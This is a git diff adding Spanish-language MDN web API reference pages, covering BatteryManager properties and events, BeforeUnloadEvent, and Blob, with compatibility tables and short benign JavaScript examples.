+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>createConstantSource()</code></td>
+   <td>{{CompatChrome(56)}}</td>
+   <td>{{CompatChrome(56)}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoMobile(52)}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td><code>createStereoPanner()</code></td>
+   <td>{{CompatChrome(42)}}</td>
+   <td>{{CompatChrome(42)}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td><code>onstatechange</code>, <code>state</code>, <code>suspend()</code>, <code>resume()</code></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td>Unprefixed</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatOperaMobile(43)}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web_Audio_API/Using_Web_Audio_API">Using the Web Audio API</a></li>
+ <li>{{domxref("AudioContext")}}</li>
+ <li>{{domxref("OfflineAudioContext")}}</li>
+</ul>
diff --git a/files/es/web/api/batterymanager/charging/index.html b/files/es/web/api/batterymanager/charging/index.html
new file mode 100644
index 0000000000..8295785a2c
--- /dev/null
+++ b/files/es/web/api/batterymanager/charging/index.html
@@ -0,0 +1,28 @@
+---
+title: BatteryManager.charging
+slug: Web/API/BatteryManager/charging
+tags:
+  - Apps
+  - Batería
+  - Battery
+  - Firefox OS
+  - Mobile
+  - Móvil
+  - WebAPI
+translation_of: Web/API/BatteryManager/charging
+---
+<p>{{ ApiRef() }}</p>
+<h2 id="Summary" name="Summary">Resumen</h2>
+<p>Un valor boleano indicando si o no esta cargando la batería del dispositivo (está conectado el cargador).</p>
+<h2 id="Syntax" name="Syntax">Sintaxis</h2>
+<pre class="syntaxbox">var <em>charging</em> = navigator.battery.charging</pre>
+<p>Valor de retorno, <code>charging</code> indica si o no la batería esta siendo cargada; si la batería se está cargando (o si no hay batería), este valor es <code>true</code>. De lo contrario el valor es <code>false</code>.</p>
+<h2 id="Specifications">Specifications</h2>
+<p>{{page("/en-US/docs/Web/API/BatteryManager","Specifications")}}</p>
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+<p>{{page("/en-US/docs/Web/API/BatteryManager","Browser_compatibility")}}</p>
+<h2 id="See_also">See also</h2>
+<ul>
+ <li>{{domxref("BatteryManager")}}</li>
+ <li>{{domxref("window.navigator.battery","navigator.battery")}}</li>
+</ul>
diff --git a/files/es/web/api/batterymanager/chargingtime/index.html b/files/es/web/api/batterymanager/chargingtime/index.html
new file mode 100644
index 0000000000..6876834636
--- /dev/null
+++ b/files/es/web/api/batterymanager/chargingtime/index.html
@@ -0,0 +1,26 @@
+---
+title: BatteryManager.chargingTime
+slug: Web/API/BatteryManager/chargingTime
+tags:
+  - API
+  - Battery
+  - Battery API
+  - Mobile
+  - Property
+translation_of: Web/API/BatteryManager/chargingTime
+---
+<p>{{ APIRef("BatteryManager") }}</p>
+<h2 id="Summary" name="Summary">Resumen</h2>
+<p>Indica la cantidad de tiempo, en segundos, que faltan para que la batería esté completamente cargada.</p>
+<h2 id="Syntax" name="Syntax">Sintaxis</h2>
+<pre class="syntaxbox">var <em>time</em> = navigator.battery.chargingTime</pre>
+<p>Cuando devuelve, <code>time</code> es el tiempo restante en segundos para que la batería esté completamente cargada o 0 (cero) si la batería ya está completamente cargada. Si la batería está descargándose —o si el sistema no puede determinar el restante de carga— el valor es <code><a href="/en-US/docs/JavaScript/Reference/Global_Objects/Infinity" title="/en-US/docs/JavaScript/Reference/Global_Objects/Infinity">Infinity</a></code>.</p>
+<h2 id="Especificaciones">Especificaciones</h2>
+<p>{{page("/en-US/docs/Web/API/BatteryManager","Specifications")}}</p>
+<h2 id="Compatibilidad_con_navegadores">Compatibilidad con navegadores</h2>
+<p>{{page("/en-US/docs/Web/API/BatteryManager","Browser_compatibility")}}</p>
+<h2 id="See_also">See also</h2>
+<ul>
+  <li>{{domxref("BatteryManager")}}</li>
+  <li>{{domxref("window.navigator.battery","navigator.battery")}}</li>
+</ul>
diff --git a/files/es/web/api/batterymanager/dischargingtime/index.html b/files/es/web/api/batterymanager/dischargingtime/index.html
new file mode 100644
index 0000000000..4cc79f0b9d
--- /dev/null
+++ b/files/es/web/api/batterymanager/dischargingtime/index.html
@@ -0,0 +1,29 @@
+---
+title: BatteryManager.dischargingTime
+slug: Web/API/BatteryManager/dischargingTime
+tags:
+  - API
+  - Apps
+  - Batería
+  - Battery
+  - Firefox OS
+  - Gecko DOM Reference
+  - WebAPI
+  - aplicaciones
+translation_of: Web/API/BatteryManager/dischargingTime
+---
+<p>{{ ApiRef() }}</p>
+<h2 id="Summary" name="Summary">Resumen</h2>
+<p>Indíca la cantidad de tiempo, en segundos, que restan antes de que la batería se descargue completamente.</p>
+<h2 id="Syntax" name="Syntax">Sintaxis</h2>
+<pre class="syntaxbox">var <em>time</em> = navigator.battery.dischargingTime</pre>
+<p>Valor de retorno, <code>time</code> es el tiempo restante en segundos antes que la batería esté completamente descargada y el sistema se suspenda. Este valor es <span style="line-height: inherit;"><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Infinity" title="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Infinity">Infinity</a> si la batería se está cargando en vez de descargando, o si el sistema es incapaz de calcular el tiempo de descarga (o si no hay batería)</span></p>
+<h2 id="Specifications">Specifications</h2>
+<p>{{page("/en-US/docs/Web/API/BatteryManager","Specifications")}}</p>
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+<p>{{page("/en-US/docs/Web/API/BatteryManager","Browser_compatibility")}}</p>
+<h2 id="See_also">See also</h2>
+<ul>
+ <li>{{domxref("BatteryManager")}}</li>
+ <li>{{domxref("window.navigator.battery","navigator.battery")}}</li>
+</ul>
diff --git a/files/es/web/api/batterymanager/index.html b/files/es/web/api/batterymanager/index.html
new file mode 100644
index 0000000000..5d2aee0710
--- /dev/null
+++ b/files/es/web/api/batterymanager/index.html
@@ -0,0 +1,127 @@
+---
+title: BatteryManager
+slug: Web/API/BatteryManager
+translation_of: Web/API/BatteryManager
+---
+<p>{{APIRef()}}</p>
+<h2 id="Sumario">Sumario</h2>
+<p>La interfaz <code>BatteryManager</code> proporciona la información del nivel de carga de la bateria del sistema.</p>
+<p>La propiedad {{domxref("window.navigator.battery","navigator.battery")}} devuelve una petición de la interfaz  <code>BatteryManager</code> que se utiliza para interactuar con la API Battery Status.</p>
+<h2 id="Propiedades">Propiedades</h2>
+<dl>
+ <dt>
+  {{domxref("BatteryManager.charging")}} {{ReadOnlyInline}}</dt>
+ <dd>
+  Valor booleano que indica si la bateria se está o no cargando.</dd>
+ <dt>
+  {{domxref("BatteryManager.chargingTime")}} {{ReadOnlyInline}}</dt>
+ <dd>
+  Número que indica el tiempo que queda en segundos hasta que la batería esté completamente cargada, o 0 si la batería está completamente cargada.</dd>
+ <dt>
+  {{domxref("BatteryManager.dischargingTime")}} {{ReadOnlyInline}}</dt>
+ <dd>
+  Número que indica el tiempo restante en segundos hasta que la batería esté completamente descargada y el sistema entra en suspensión.</dd>
+ <dt>
+  {{domxref("BatteryManager.level")}} {{ReadOnlyInline}}</dt>
+ <dd>
+  Número que indica el nivel de carga de la batería del sistema, los valores están escalados entre 0.0 y 1.0.</dd>
+</dl>
+<h3 id="Eventos_del_controlador">Eventos del controlador</h3>
+<dl>
+ <dt>
+  {{domxref("BatteryManager.onchargingchange")}}</dt>
+ <dd>
+   Controlador para el evento {{event("chargingchange")}} ; Este evento se envía cuando se actualiza el estado de carga de la batería.</dd>
+ <dt>
+  {{domxref("BatteryManager.onchargingtimechange")}}</dt>
+ <dd>
+  Controlador para el evento {{event("chargingtimechange")}}; Este evento se envía cuando se actualiza el tiempo de carga de la batería.</dd>
+ <dt>
+  {{domxref("BatteryManager.ondischargingtimechange")}}</dt>
+ <dd>
+  Controlador para el evento{{event("dischargingtimechange")}}; Este evento se envía cuando se actualiza el tiempo de descarga de la batería.</dd>
+ <dt>
+  {{domxref("BatteryManager.onlevelchange")}}</dt>
+ <dd>
+  Controlador para el evento {{event("levelchange")}}; Este evento se envía cuando se actualizael nivel de la batería.</dd>
+</dl>
+<h2 id="Métodos">Métodos</h2>
+<p>Heredado de{{domxref("EventTarget")}}:</p>
+<p>{{page("/en-US/docs/Web/API/EventTarget","Methods")}}</p>
+<h2 id="Especificaciones">Especificaciones</h2>
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificaciones</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('Battery API')}}</td>
+   <td>{{Spec2('Battery API')}}</td>
+   <td>Especificaciones iniciales.</td>
+  </tr>
+ </tbody>
+</table>
+<h2 id="Compatibilidad">Compatibilidad</h2>
+<p>{{ CompatibilityTable() }}</p>
+<div id="compat-desktop">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Característica</th>
+    <th>Chrome</th>
+    <th>Firefox (Gecko)</th>
+    <th>Internet Explorer</th>
+    <th>Opera</th>
+    <th>Safari</th>
+   </tr>
+   <tr>
+    <td>Basic support</td>
+    <td>{{ CompatNo() }}<br>
+     Chrome on Android: <a href="http://crbug.com/135863">crbug.com/135863</a><br>
+     Chrome OS: <a href="http://crbug.com/122593">crbug.com/122593</a></td>
+    <td>{{CompatGeckoDesktop("10")}} {{ property_prefix("moz") }} [1]<br>
+     {{CompatGeckoDesktop("16")}} (without prefix) [2]</td>
+    <td>{{ CompatNo() }}</td>
+    <td>{{ CompatNo() }}</td>
+    <td>{{ CompatNo() }}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+<div id="compat-mobile">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Feature</th>
+    <th>Android</th>
+    <th>Chrome for Android</th>
+    <th>Firefox Mobile (Gecko)</th>
+    <th>IE Mobile</th>
+    <th>Opera Mobile</th>
+    <th>Safari Mobile</th>
+   </tr>
+   <tr>
+    <td>Basic support</td>
+    <td>{{ CompatUnknown() }}</td>
+    <td>{{ CompatNo() }}</td>
+    <td>{{CompatGeckoMobile("10")}} {{ property_prefix("moz") }} [1]<br>
+     {{CompatGeckoMobile("16")}} (without prefix) [2]</td>
+    <td>{{ CompatNo() }}</td>
+    <td>{{ CompatNo() }}</td>
+    <td>{{ CompatNo() }}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+<h3 id="Notas_Gecko">Notas Gecko</h3>
+<p>[1] Descativado por defecto en Firefox 10.0, pero se puede habilitar estableciendo las preferencias en <code>dom.battery.enabled</code> a <code>true</code>. A partir de Firefox 11.0, <code>mozBattery</code> está activado por defecto.</p>
+<p class="note">[2] La Battery API actualmente es soportada por Android, Windows, y Linux con UPower instalado. Está soportado para MacOS con Gecko 18.0 {{geckoRelease("18.0")}}.</p>
+<h2 id="Ver_también">Ver también</h2>
+<ul>
+ <li>{{ domxref("window.navigator.battery","navigator.battery") }}</li>
+ <li>La <a href="/en-US/docs/WebAPI/Battery_Status" title="/en-US/docs/WebAPI/Battery_Status">Battery Status API</a></li>
+</ul>
diff --git a/files/es/web/api/batterymanager/level/index.html b/files/es/web/api/batterymanager/level/index.html
new file mode 100644
index 0000000000..d88c8ffbe3
--- /dev/null
+++ b/files/es/web/api/batterymanager/level/index.html
@@ -0,0 +1,22 @@
+---
+title: BatteryManager.level
+slug: Web/API/BatteryManager/level
+tags:
+  - API
+translation_of: Web/API/BatteryManager/level
+---
+<p>{{ APIRef("BatteryManager") }}</p>
+<h2 id="Summary" name="Summary">Resumen</h2>
+<p>Indica el valor actual del nivel de carga, estos valores están entre 0.0 a 1.0.</p>
+<h2 id="Syntax" name="Syntax">Sintaxis</h2>
+<pre class="syntaxbox">var level = navigator.battery.level</pre>
+<p>Es un número que representa el nivel de carga de la batería del sistema en una escala entre los valores 0.0 y 1.0. Un valor de 0 significa que la batería está vacía y el sistema esta apunto de entrar en suspensión. Un valor de 1.0 significa que la batería está cargada al máximo. Este valor también nos indica que el sistema no puede determinar el nivel de carga de la batería o si no está alimentado por batería.</p>
+<h2 id="Especificaciones">Especificaciones</h2>
+<p>{{page("/es/docs/Web/API/BatteryManager","Especificaciones")}}</p>
+<h2 id="Compatibilidad_del_navegador">Compatibilidad del navegador</h2>
+<p>{{page("/es/docs/Web/API/BatteryManager","Compatibilidad")}}</p>
+<h2 id="Vea_también">Vea también</h2>
+<ul>
+ <li>{{domxref("BatteryManager")}}</li>
+ <li>{{domxref("window.navigator.battery","navigator.battery")}}</li>
+</ul>
diff --git a/files/es/web/api/batterymanager/onchargingchange/index.html b/files/es/web/api/batterymanager/onchargingchange/index.html
new file mode 100644
index 0000000000..2688bfc3aa
--- /dev/null
+++ b/files/es/web/api/batterymanager/onchargingchange/index.html
@@ -0,0 +1,20 @@
+---
+title: BatteryManager.onchargingchange
+slug: Web/API/BatteryManager/onchargingchange
+translation_of: Web/API/BatteryManager/onchargingchange
+---
+<p>{{ APIRef("BatteryManager") }}</p>
+<h2 id="Summary" name="Summary">Resumen</h2>
+<p>Especifica un evento oyente para recibir eventos {{event("chargingchange")}}. Estos eventos se producen cuando se actualiza el estado de la batería {{domxref("BatteryManager.charging", "charging")}}.</p>
+<h2 id="Syntax" name="Syntax">Sintaxis</h2>
+<pre class="syntaxbox">navigator.battery.onchargingchange = funcRef</pre>
+<p>Donde <code><em>funcRef</em></code> es una función para llamar cuando se produce el evento {{event("chargingchange")}}.</p>
+<h2 id="Especificaciones">Especificaciones</h2>
+<p>{{page("/en-US/docs/Web/API/BatteryManager","Specifications")}}</p>
+<h2 id="Compatibilidad_con_navegadores">Compatibilidad con navegadores</h2>
+<p>{{page("/en-US/docs/Web/API/BatteryManager","Browser_compatibility")}}</p>
+<h2 id="Ver_también">Ver también</h2>
+<ul>
+  <li>{{domxref("BatteryManager")}}</li>
+  <li>{{domxref("window.navigator.battery","navigator.battery")}}</li>
+</ul>
diff --git a/files/es/web/api/batterymanager/onlevelchange/index.html b/files/es/web/api/batterymanager/onlevelchange/index.html
new file mode 100644
index 0000000000..2b2e957619
--- /dev/null
+++ b/files/es/web/api/batterymanager/onlevelchange/index.html
@@ -0,0 +1,20 @@
+---
+title: BatteryManager.onlevelchange
+slug: Web/API/BatteryManager/onlevelchange
+translation_of: Web/API/BatteryManager/onlevelchange
+---
+<p>{{ APIRef("BatteryManager") }}</p>
+<h2 id="Summary" name="Summary">Resumen</h2>
+<p>Especifica un detector de eventos para recibir eventos de  {{event("levelchange")}} (<em>"cambio de nivel</em>"). Estos eventos ocurren cuando el {{domxref("BatteryManager.level")}} de batería se actualiza.</p>
+<h2 id="Syntax" name="Syntax">Sintaxis</h2>
+<pre class="syntaxbox">navigator.battery.onlevelchange = funcRef</pre>
+<p>Donde <code><em>funcRef</em></code> es una función que se convoca cuando el evento de {{event("levelchange")}} sucede.</p>
+<h2 id="Especificaciones">Especificaciones</h2>
+<p>{{page("/en-US/docs/Web/API/BatteryManager","Specifications")}}</p>
+<h2 id="Compatibilidad_de_navegadores">Compatibilidad de navegadores</h2>
+<p>{{page("/en-US/docs/Web/API/BatteryManager","Browser_compatibility")}}</p>
+<h2 id="Véase_también">Véase también</h2>
+<ul>
+ <li>{{domxref("BatteryManager")}}</li>
+ <li>{{domxref("window.navigator.battery","navigator.battery")}}</li>
+</ul>
diff --git a/files/es/web/api/beforeunloadevent/index.html b/files/es/web/api/beforeunloadevent/index.html
new file mode 100644
index 0000000000..5bd5e2204f
--- /dev/null
+++ b/files/es/web/api/beforeunloadevent/index.html
@@ -0,0 +1,70 @@
+---
+title: BeforeUnloadEvent
+slug: Web/API/BeforeUnloadEvent
+translation_of: Web/API/BeforeUnloadEvent
+---
+<p>{{APIRef}}</p>
+
+<p>El evento <strong><code>beforeunload</code></strong> se diapara cuando la ventana, el documento y sus recursos están a punto de ser cerrados.</p>
+
+<p>Cuando una cadena no vacía es asignada a la propiedad <code>returnValue</code> del Evento, un cuadro de diálogo aparece, pidiendo a los usuarios la confirmación para la página (ver ejemplo a continuación). Cuando no es asignado un valor, el evento se procesa en silencio. Algunas implementaciones muestran solamente el cuadro de diálogo si el marco o cualquier marco embebido recibe un gesto o interacción del usuario. Ver {{anch("Compatibilidad del navegador")}} para más información.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <td>Burbujas</td>
+   <td>No</td>
+  </tr>
+  <tr>
+   <td>Cancelable</td>
+   <td>Sí</td>
+  </tr>
+  <tr>
+   <td>Objetos de destino</td>
+   <td>defaultView</td>
+  </tr>
+  <tr>
+   <td>Interface</td>
+   <td>{{domxref("Event")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<pre class="brush:js;">window.addEventListener("beforeunload", function( event ) {
+  event.returnValue = "\o/";
+});
+
+//is equivalent to
+window.addEventListener("beforeunload", function( event ) {
+  event.preventDefault();
+});</pre>
+
+<p>Los navegadores basado en Webkit no se basan en las especificaciones del cuadro de diálogo. Un ejemplo compatible con la mayoria de los navegadores seria algo parecido al siguiente ejemplo.</p>
+
+<pre class="brush: js">window.addEventListener("beforeunload", function (e) {
+  var confirmationMessage = "\o/";
+
+  (e || window.event).returnValue = confirmationMessage;     //Gecko + IE
+  return confirmationMessage;                                //Webkit, Safari, Chrome etc.
+});</pre>
+
+<h2 id="Compatibilidad_del_navegador">Compatibilidad del navegador</h2>
+
+<div>
+<div class="hidden">La table de compatibilidad en esta página se genera a partir de los datos estructurados. Si le gustaría contrubuir con los datos, por favor revise <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> y envíenos un un pull request.</div>
+
+<p>{{Compat("api.BeforeUnloadEvent")}}</p>
+</div>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li>{{Event("DOMContentLoaded")}}</li>
+ <li>{{Event("readystatechange")}}</li>
+ <li>{{Event("load")}}</li>
+ <li>{{Event("beforeunload")}}</li>
+ <li>{{Event("unload")}}</li>
+ <li><a href="http://www.whatwg.org/specs/web-apps/current-work/#prompt-to-unload-a-document" title="http://www.whatwg.org/specs/web-apps/current-work/#prompt-to-unload-a-document">Descargas de documentos — Solicitud para descargar un documento</a></li>
+</ul>
diff --git a/files/es/web/api/blob/blob/index.html b/files/es/web/api/blob/blob/index.html
new file mode 100644
index 0000000000..5aa6b895d6
--- /dev/null
+++ b/files/es/web/api/blob/blob/index.html
@@ -0,0 +1,75 @@
+---
+title: Blob()
+slug: Web/API/Blob/Blob
+tags:
+  - API
+  - Archivo
+  - Blob
+  - File API
+  - Referencia
+translation_of: Web/API/Blob/Blob
+---
+<p>{{APIRef("File API")}}</p>
+
+<p>El constructor <code><strong>Blob()</strong></code> retorna un nuevo objeto {{domxref("Blob")}} . El contenido del blob consiste en la concatenación de los valores obtenidos en el parrametro <em>array</em>.</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox">var aBlob = new Blob(<em> array</em>, <em>options</em> );
+</pre>
+
+<h3 id="Parámetros">Parámetros</h3>
+
+<dl>
+ <dt><code><var>array</var></code></dt>
+ <dd>Es un {{jsxref("Array")}} de {{jsxref("ArrayBuffer")}}, {{domxref("ArrayBufferView")}}, {{domxref("Blob")}}, objetos {{domxref("USVString")}}, o una mezcla de cualquiera de éstos objetos, que será puesto dentro de {{domxref("Blob")}}. Los objetos <code>USVString</code> estan codificados como UTF-8.</dd>
+ <dt><code><var>options</var></code> {{optional_inline}}</dt>
+ <dd>
+ <p>Un objeto opcional de tipo {{domxref("BlobPropertyBag")}} que puede especificar las siguientes propiedades:</p>
+
+ <dl>
+  <dt><code>type</code> {{optional_inline}}</dt>
+  <dd>El {{Glossary("MIME type")}} de la información que será almacenada en el blob. El valor por defecto es una cadena vacía, (<code>""</code>).</dd>
+  <dt><code>endings</code> {{optional_inline}} {{non-standard_inline}}</dt>
+  <dd>Cómo interpretar los carácteres de nueva línea (<code>\n</code>) en el contenido, si la información es texto. El valor por defecto, <code>transparent</code>, copia los caracteres de nueva línea  en el blob sin cambiarlos. Para convertir las nuevas líneas a la convención nativa del sistema, se especifica <code>endings</code>.</dd>
+ </dl>
+ </dd>
+</dl>
+
+<h3 id="Valor_de_retorno">Valor de retorno</h3>
+
+<p>Un nuevo objeto {{domxref("Blob")}} conteniendo la información especificada.</p>
+
+<h2 id="Ejemplo">Ejemplo</h2>
+
+<pre class="brush: js  language-js">var unaParteDeArchivo = ['&lt;a id="a"&gt;&lt;b id="b"&gt;hey!&lt;/b&gt;&lt;/a&gt;']; // un array de un solo DOMString
+var oMiBlob = new Blob(unaParteDeArchivo, {type : 'text/html'}); // el blob</pre>
+
+<h2 id="Specification" name="Specification">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('File API', '#constructorBlob', 'Blob()')}}</td>
+   <td>{{Spec2('File API')}}</td>
+   <td>Definición inicial.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_de_los_navegadores">Compatibilidad de los navegadores</h2>
+
+
+
+<p>{{Compat("api.Blob.Blob")}}</p>
+
+<h2 id="Vea_también">Vea también</h2>
+
+<ul>
+ <li>La interfaz deprecada {{domxref("BlobBuilder")}}, la cual es reemplazada por este constructor.</li>
+</ul>
diff --git a/files/es/web/api/blob/index.html b/files/es/web/api/blob/index.html
new file mode 100644
index 0000000000..2ee7811292
--- /dev/null
+++ b/files/es/web/api/blob/index.html
@@ -0,0 +1,194 @@
+---
+title: Blob
+slug: Web/API/Blob
+translation_of: Web/API/Blob
+---
+<p>{{ APIRef("File API") }}</p>
+
+<h2 id="Resumen">Resumen</h2>
+
+<p>Un objeto <code>Blob</code> representa un objeto tipo fichero de  datos planos inmutables. Los Blobs representan datos que no necesariamente se encuentran en un formato nativo de JavaScript. La interfaz {{ domxref("File") }} se encuentra basada en un <code>Blob</code>, heredando y expendiendo la funcionalidad de un <code>Blob</code> para soportar archivos en el sistema del usuario.</p>
+
+<p>Una forma fácil de construir un <code>Blob</code> es invocando el constructor {{domxref("Blob.Blob", "Blob()")}}. Otra manera es utilizando el método <code>slice()</code> para crear un blob que contiene un subconjunto de los datos de otro <code>Blob</code>.</p>
+
+<h2 id="Constructor">Constructor</h2>
+
+<dl>
+ <dt>{{domxref("Blob.Blob", "Blob()")}}</dt>
+ <dd>Regresa un nuevo objeto <code>Blob</code> creado cuyo contenido consiste en la concatenación de un arreglo de valores establecidos en el parámetro de la función.</dd>
+</dl>
+
+<h2 id="Propiedades">Propiedades</h2>
+
+<dl>
+ <dt>{{domxref("Blob.size")}} {{readonlyinline}}</dt>
+ <dd>El tamaño, en bytes,  de los datos contenidos en el objeto <code>Blob</code></dd>
+ <dt>{{domxref("Blob.type")}} {{readonlyinline}}</dt>
+ <dd>Una cadena (String) indicando el tipo MIME de los datos contenidos en el <code>Blob</code>. Si el tipo es desconocido, esta cadena será vacía.</dd>
+</dl>
+
+<h2 id="Métodos">Métodos</h2>
+
+<dl>
+ <dt>{{domxref("Blob.slice()")}}</dt>
+ <dd><code><font face="Open Sans, sans-serif">Regresa un nuevo objeto </font>Blob</code> conteniendo los datos de un rango específico de bytes del origen del <code>Blob</code>.</dd>
+</dl>
+
+<div class="note"><strong>Nota:</strong> Esté consciente que el método <code>slice()</code> posee prefijos propios del fabricante en algunos exploradores y versiones: <code>blob.mozSlice()</code> para Firefox 12 e inferior y <code>blob.webkitSlice()</code> en Safari. Una versión anterior del método <code>slice()</code>, sin prefijos del fabricante, tenía diferente semántica, y se encuentra obsoleto. El soporte para  <code>blob.mozSlice()</code> ha sido eliminado a partir de  Firefox 30.</div>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<h3 id="Ejemplo_de_uso_de_un_constructor_de_Blob">Ejemplo de uso de un constructor de Blob</h3>
+
+<p>El siguiente código:</p>
+
+<pre class="brush: js">var aFileParts = ['&lt;a id="a"&gt;&lt;b id="b"&gt;hey!&lt;/b&gt;&lt;/a&gt;'];
+var oMyBlob = new Blob(aFileParts, {type : 'text/html'}); // the blob
+</pre>
+
+<p>es equivalente a:</p>
+
+<pre class="brush: js">var oBuilder = new BlobBuilder();
+var aFileParts = ['&lt;a id="a"&gt;&lt;b id="b"&gt;hey!&lt;/b&gt;&lt;/a&gt;'];
+oBuilder.append(aFileParts[0]);
+var oMyBlob = oBuilder.getBlob('text/xml'); // the blob
+</pre>
+
+<div class="warning">
+<p>La interfaz {{ domxref("BlobBuilder") }} ofrece otra manera de crear <code>Blob</code>, pero se encuentra ahora obsoleta y no debería volverse a utilizar.</p>
+</div>
+
+<h3 id="Ejemplo_para_crear_una_URL_en_un_arreglo_tipado_utilizando_un_blob">Ejemplo para crear una URL en un arreglo tipado utilizando un blob</h3>
+
+<p>El siguiente código:</p>
+
+<pre class="brush: js">var typedArray = GetTheTypedArraySomehow();
+var blob = new Blob([typedArray], {type: 'application/octet-binary'}); // pass a useful mime type here
+var url = URL.createObjectURL(blob);
+// url will be something like: blob:d3958f5c-0777-0845-9dcf-2cb28783acaf
+// now you can use the url in any context that regular URLs can be used in, for example img.src, etc.
+</pre>
+
+<h3 id="Ejemplo_para_extraer_datos_de_un_Blob">Ejemplo para extraer datos de un Blob</h3>
+
+<p>La única manera de leer contenido de un Blob es utilizando un {{domxref("FileReader")}}. El siguiente código lee el contenido de un Blob como un arreglo tipado.</p>
+
+<pre class="brush: js">var reader = new FileReader();
+reader.addEventListener("loadend", function() {
+   // reader.result contains the contents of blob as a typed array
+});
+reader.readAsArrayBuffer(blob);</pre>
+
+<p>Al utilizar otros métodos de {{domxref("FileReader")}}, es posible leer los contenidos del Blob como una cadena o una URL de datos.</p>
+
+<h2 id="Browser_Compatibility" name="Browser_Compatibility">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('File API','#blob','Blob')}}</td>
+   <td>{{Spec2('File API')}}</td>
+   <td>Definición inicial.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Compatibilidad de navegadores</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>5</td>
+   <td>4</td>
+   <td>10</td>
+   <td>11.10</td>
+   <td>5.1</td>
+  </tr>
+  <tr>
+   <td><code>slice()</code></td>
+   <td>10 {{property_prefix("webkit")}}‡<br>
+    21</td>
+   <td>5 {{ property_prefix("moz") }}‡<br>
+    13</td>
+   <td>10</td>
+   <td>12</td>
+   <td>5.1 (<a class="external" href="http://trac.webkit.org/changeset/83873">534.29</a>) {{ property_prefix("webkit") }}</td>
+  </tr>
+  <tr>
+   <td><code>Blob()</code> constructor</td>
+   <td>20</td>
+   <td>{{ CompatGeckoDesktop("13.0") }}</td>
+   <td>10</td>
+   <td>12.10</td>
+   <td>6 (<a class="external" href="http://trac.webkit.org/changeset/115582">536.10</a>)</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatGeckoMobile("13.0") }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h3 id="Notas_en_implementaciones_del_método_slice()">Notas en implementaciones del método slice()</h3>
+
+<p>El método <code>slice()</code> ha tomado inicialmente <code>length</code> como el segundo argumento para indicar el número de bytes para copiar en el nuevo <code>Blob</code>. Si usted especificó valores como <code>start + length</code> excediento el tamaño del <code>Blob </code>de origen, el <code>Blob</code> retornado contendrá los datos a partir del índice de inicio hasta el final del <code>Blob</code> de origen.</p>
+
